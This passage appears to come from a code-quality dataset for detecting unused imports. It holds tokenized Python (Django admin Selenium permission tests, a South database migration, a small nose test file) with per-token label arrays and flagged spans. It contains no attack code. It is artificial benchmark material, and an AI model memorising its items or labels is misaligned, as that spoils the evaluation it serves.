"10", ";", " ", " ", " ", " ", "as", " ", "it", " ", "contain", "s", " ", "no", " ", "Value", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "admin", "\\u", "login_", "(_", "username_", "=_", "'", "super", "'_", ",_", "password_", "=_", "'", "secret", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "selenium_", "._", "get_", "(_", "'%", "s", "%", "s", "'_", "%_", "(_", "self_", "._", "live", "\\u", "server", "\\u", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "reverse_", "(_", "'", "admin", ":", "auth", "\\u", "user", "\\u", "change", "'_", ",_", "args_", "=_", "(_", "1000_", ",_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "original", "\\u", "widget_", "=_", "self_", "._", "selenium_", "._", "find", "\\u", "element", "\\u", "by", "\\u", "css", "\\u", "selector_", "(_", "'[", "name", "=", "user", "\\u", "permissi", "ons", "]'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "original", "\\u", "widget_", "._", "is", "\\u", "displayed_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tab", "ular", "Permi", "ssion", "s", "Live", "Test_", "(_", "Admi", "n", "Selen", "ium", "Web", "Drive", "r", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "initial", "\\u", "widget", "\\u", "is", "\\u", "visi", "ble", "\\u", "on", "\\u", "extra", "\\u", "permissions_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Case", " ", "of", " ", "extra", " ", "permissi", "ons", ",", " ", "Filter", "ed", "Select", "Multipl", "e", " ", "Sho", "ul", "d", " ", "be", " ", "visi", "ble", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "handle", " ", "assign", "ment", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Permission_", "._", "objects_", "._", "create_", "(_", "codename_", "=_", "'", "custom", "\\u", "perm", "'_", ",_", "content", "\\u", "type", "\\u", "id_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "got", "o", "\\u", "user", "\\u", "change_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "original", "\\u", "widget_", "=_", "self_", "._", "selenium_", "._", "find", "\\u", "element", "\\u", "by", "\\u", "css", "\\u", "selector_", "(_", "'[", "name", "=", "user", "\\u", "permissi", "ons", "]'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "original", "\\u", "widget_", "._", "is", "\\u", "displayed_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tab", "ular", "Permi", "ssion", "s", "Live", "Test_", "(_", "Admi", "n", "Selen", "ium", "Web", "Drive", "r", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "save", "\\u", "table", "\\u", "permissions_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "tha", "t", " ", "checke", "d", " ", "permissi", "ons", " ", "from", " ", "the", " ", "widget", " ", "are", " ", "saved", ",", " ", "and", " ", "the", "y", " ", "are", " ", "the", " ", "only", " ", "permissi", "ons", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "tha", "t", " ", "user", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "got", "o", "\\u", "user", "\\u", "change_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "\\u", "select", "\\u", "all_", "=_", "self_", "._", "selenium_", "._", "find", "\\u", "element", "\\u", "by", "\\u", "id_", "(_", "'", "perm", "\\u", "add", "\\u", "select", "\\u", "all", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "\\u", "checkb", "oxe", "s_", "=_", "self_", "._", "selenium_", "._", "find", "\\u", "element", "s", "\\u", "by", "\\u", "css", "\\u", "selector_", "(_", "'.", "checkb", "ox", ".", "add", ":", "not", "(.", "select", "-", "all", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "perms_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "e_", "in_", "add", "\\u", "checkb", "oxe", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "\\u", "perms_", "._", "append_", "(_", "e_", "._", "get", "\\u", "attribute_", "(_", "'", "data", "-", "perm", "-", "id", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "self", ".", "assert", "Equal", "(", "e", ".", "get", "\\u", "attribute", "('", "checke", "d", "')", ",", " ", "'", "true", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "reminder", "\\u", "user", "\\u", "perms_", "=_", "list_", "(_", "user", "\\u", "perms_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "\\u", "select", "\\u", "all_", "._", "click_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "save_", "=_", "self_", "._", "selenium_", "._", "find", "\\u", "element", "\\u", "by", "\\u", "css", "\\u", "selector_", "(_", "'[", "name", "=", "\\u", "continue", "]'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "save_", "._", "click_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "wait", "\\u", "page", "\\u", "loaded_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", "=_", "User_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "saved", "\\u", "permissions_", "=_", "user_", "._", "user", "\\u", "permissions_", "._", "values", "\\u", "list_", "(_", "'", "id", "'_", ",_", "flat_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "saved", "\\u", "permissions_", "=_", "[_", "force", "\\u", "text_", "(_", "x_", ")_", "for_", "x_", "in_", "user", "\\u", "saved", "\\u", "permissions_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "perm_", "in_", "user", "\\u", "perms_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "\\u", "saved", "\\u", "permissions_", "._", "remove_", "(_", "perm_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reminder", "\\u", "user", "\\u", "perms_", "._", "remove_", "(_", "perm_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Assert", "ion", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "user", "\\u", "saved", "\\u", "permissions_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "reminder", "\\u", "user", "\\u", "perms_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tab", "ular", "Permi", "ssion", "s", "Live", "Test_", "(_", "Admi", "n", "Selen", "ium", "Web", "Drive", "r", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "visi", "ble", "\\u", "on", "\\u", "group", "\\u", "admin_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "tabular", "\\u", "permissi", "ons", " ", "visi", "ble", " ", "on", " ", "Group", "Admi", "n", " ", "with", " ", "right", " ", "data", "-", "input", "-", "name", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "admin", "\\u", "login_", "(_", "username_", "=_", "'", "super", "'_", ",_", "password_", "=_", "'", "secret", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "selenium_", "._", "get_", "(_", "'%", "s", "%", "s", "'_", "%_", "(_", "self_", "._", "live", "\\u", "server", "\\u", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "reverse_", "(_", "'", "admin", ":", "auth", "\\u", "group", "\\u", "add", "'_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "table_", "=_", "self_", "._", "selenium_", "._", "find", "\\u", "element", "\\u", "by", "\\u", "css", "\\u", "selector_", "(_", "'#", "tabular", "\\u", "permissi", "ons", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "table_", "._", "get", "\\u", "attribute_", "(_", "'", "data", "-", "input", "-", "name", "'_", ")_", ",_", "'", "permissi", "ons", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tab", "ular", "Permi", "ssion", "s", "Live", "Test_", "(_", "Admi", "n", "Selen", "ium", "Web", "Drive", "r", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "select", "\\u", "all", "\\u", "row_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Select", " ", "All", " ", "Row", " ", "behave", "s", " ", "as", " ", "expected", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "got", "o", "\\u", "user", "\\u", "change_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "first", "\\u", "row", "\\u", "checkbox_", "=_", "self_", "._", "selenium_", "._", "find", "\\u", "element", "s", "\\u", "by", "\\u", "css", "\\u", "selector_", "(_", "'.", "select", "-", "all", ".", "select", "-", "row", "'_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "first", "\\u", "row", "\\u", "checkbox_", "._", "click_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model", "\\u", "name_", "=_", "first", "\\u", "row", "\\u", "checkbox_", "._", "get", "\\u", "attribute_", "(_", "'", "data", "-", "model", "-", "name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "relate", "d\\u", "checkb", "oxe", "s_", "=_", "self_", "._", "selenium_", "._", "find", "\\u", "element", "s", "\\u", "by", "\\u", "css", "\\u", "selector_", "(_", "'.", "checkb", "ox", ".", "%", "s", "'_", "%_", "model", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "c_", "in_", "relate", "d\\u", "checkb", "oxe", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "c_", "._", "get", "\\u", "attribute_", "(_", "'", "checke", "d", "'_", ")_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
mozilla/inventory/core/group/migrations/0002_auto__add_field_groupkeyvalue_is_option__add_field_groupkeyvalue_is_st.py
[ { "content": "# -*- coding: utf-8 -*-\nimport datetime\nfrom south.db import db\nfrom south.v2 import SchemaMigration\nfrom django.db import models\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Migration(SchemaMigration):\n\n\n\n\n\n models = {\n 'group.group': {\n 'Meta': {'unique_together': \"(('name',),)\", 'object_name': 'Group', 'db_table': \"'group'\"},\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '255'})\n },\n 'group.groupkeyvalue': {\n 'Meta': {'unique_together': \"(('key', 'value'),)\", 'object_name': 'GroupKeyValue', 'db_table': \"'group_key_value'\"},\n 'has_validator': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'is_option': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'is_statement': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'key': ('django.db.models.fields.CharField', [], {'max_length': '255'}),\n 'obj': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"'keyvalue_set'\", 'to': \"orm['group.Group']\"}),\n 'value': ('django.db.models.fields.CharField', [], {'max_length': '255'})\n }\n }\n\n complete_apps = ['group']", "metadata": "root.Migration", "header": "['module', '___EOS___']", "index": 7 }, { "content": " def forwards(self, orm):\n # Adding field 'GroupKeyValue.is_option'\n db.add_column('group_key_value', 'is_option',\n self.gf('django.db.models.fields.BooleanField')(default=False),\n keep_default=False)\n\n # Adding field 'GroupKeyValue.is_statement'\n db.add_column('group_key_value', 'is_statement',\n self.gf('django.db.models.fields.BooleanField')(default=False),\n keep_default=False)\n\n # Adding field 'GroupKeyValue.has_validator'\n db.add_column('group_key_value', 'has_validator',\n self.gf('django.db.models.fields.BooleanField')(default=False),\n keep_default=False)", "metadata": "root.Migration.forwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 9 }, { "content": " def backwards(self, orm):\n # Deleting field 'GroupKeyValue.is_option'\n db.delete_column('group_key_value', 'is_option')\n\n # Deleting field 'GroupKeyValue.is_statement'\n db.delete_column('group_key_value', 'is_statement')\n\n # Deleting field 'GroupKeyValue.has_validator'\n db.delete_column('group_key_value', 'has_validator')", "metadata": "root.Migration.backwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 26 } ]
[ { "span": "import datetime", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 15 }, { "span": "from django.db import models", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 28 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "db_", "import_", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "v2_", "import_", "Schema", "Migration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "models_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "group", ".", "group", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "unique", "\\u", "tog", "ether", "'_", ":_", "\"(", "('", "name", "',", "),", ")\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Group", "'_", ",_", "'", "db", "\\u", "table", "'_", ":_", "\"'", "group", "'\"_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "255", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "group", ".", "group", "keyval", "ue", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "unique", "\\u", "tog", "ether", "'_", ":_", "\"(", "('", "key", "',", " ", "'", "value", "'),)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Group", "Key", "Value", "'_", ",_", "'", "db", "\\u", "table", "'_", ":_", "\"'", "group", "\\u", "key", "\\u", "value", "'\"_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "has", "\\u", "validator", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "option", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "statem", "ent", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "key", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "255", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "obj", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "keyval", "ue", "\\u", "set", "'\"_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "group", ".", "Group", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "value", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "255", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "complete", "\\u", "apps_", "=_", "[_", "'", "group", "'_", "]_", "[SEP]_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "forwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Add", "ing", " ", "field", " ", "'", "Group", "Key", "Value", ".", "is", "\\u", "option", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "add", "\\u", "column_", "(_", "'", "group", "\\u", "key", "\\u", "value", "'_", ",_", "'", "is", "\\u", "option", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ")_", "(_", "default_", "=_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "keep", "\\u", "default_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", "ing", " ", "field", " ", "'", "Group", "Key", "Value", ".", "is", "\\u", "statem", "ent", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "add", "\\u", "column_", "(_", "'", "group", "\\u", "key", "\\u", "value", "'_", ",_", "'", "is", "\\u", "statem", "ent", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ")_", "(_", "default_", "=_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "keep", "\\u", "default_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", "ing", " ", "field", " ", "'", "Group", "Key", "Value", ".", "has", "\\u", "validator", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "add", "\\u", "column_", "(_", "'", "group", "\\u", "key", "\\u", "value", "'_", ",_", "'", "has", "\\u", "validator", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ")_", "(_", "default_", "=_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "keep", "\\u", "default_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "backwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Del", "eti", "ng", " ", "field", " ", "'", "Group", "Key", "Value", ".", "is", "\\u", "option", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "delete", "\\u", "column_", "(_", "'", "group", "\\u", "key", "\\u", "value", "'_", ",_", "'", "is", "\\u", "option", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Del", "eti", "ng", " ", "field", " ", "'", "Group", "Key", "Value", ".", "is", "\\u", "statem", "ent", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "delete", "\\u", "column_", "(_", "'", "group", "\\u", "key", "\\u", "value", "'_", ",_", "'", "is", "\\u", "statem", "ent", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Del", "eti", "ng", " ", "field", " ", "'", "Group", "Key", "Value", ".", "has", "\\u", "validator", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "delete", "\\u", "column_", "(_", "'", "group", "\\u", "key", "\\u", "value", "'_", ",_", "'", "has", "\\u", "validator", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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ample2.py
[ { "content": "# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\nimport unittest\nfrom nose.tools import ok_, eq_\n# from ryu.app.simple_switch import SimpleSwitch\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TestSample2(unittest.TestCase):\n\n", "metadata": "root.TestSample2", "header": "['module', '___EOS___']", "index": 7 }, { "content": " def testS2Func1(self):\n ok_(True)", "metadata": "root.TestSample2.testS2Func1", "header": "['class', 'TestSample2', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 9 }, { "content": " def testS2Func2(self):\n ok_(True)", "metadata": "root.TestSample2.testS2Func2", "header": "['class', 'TestSample2', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 12 } ]
[ { "span": "from nose.tools import ok_, eq_", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 31 } ]
[]
1
false
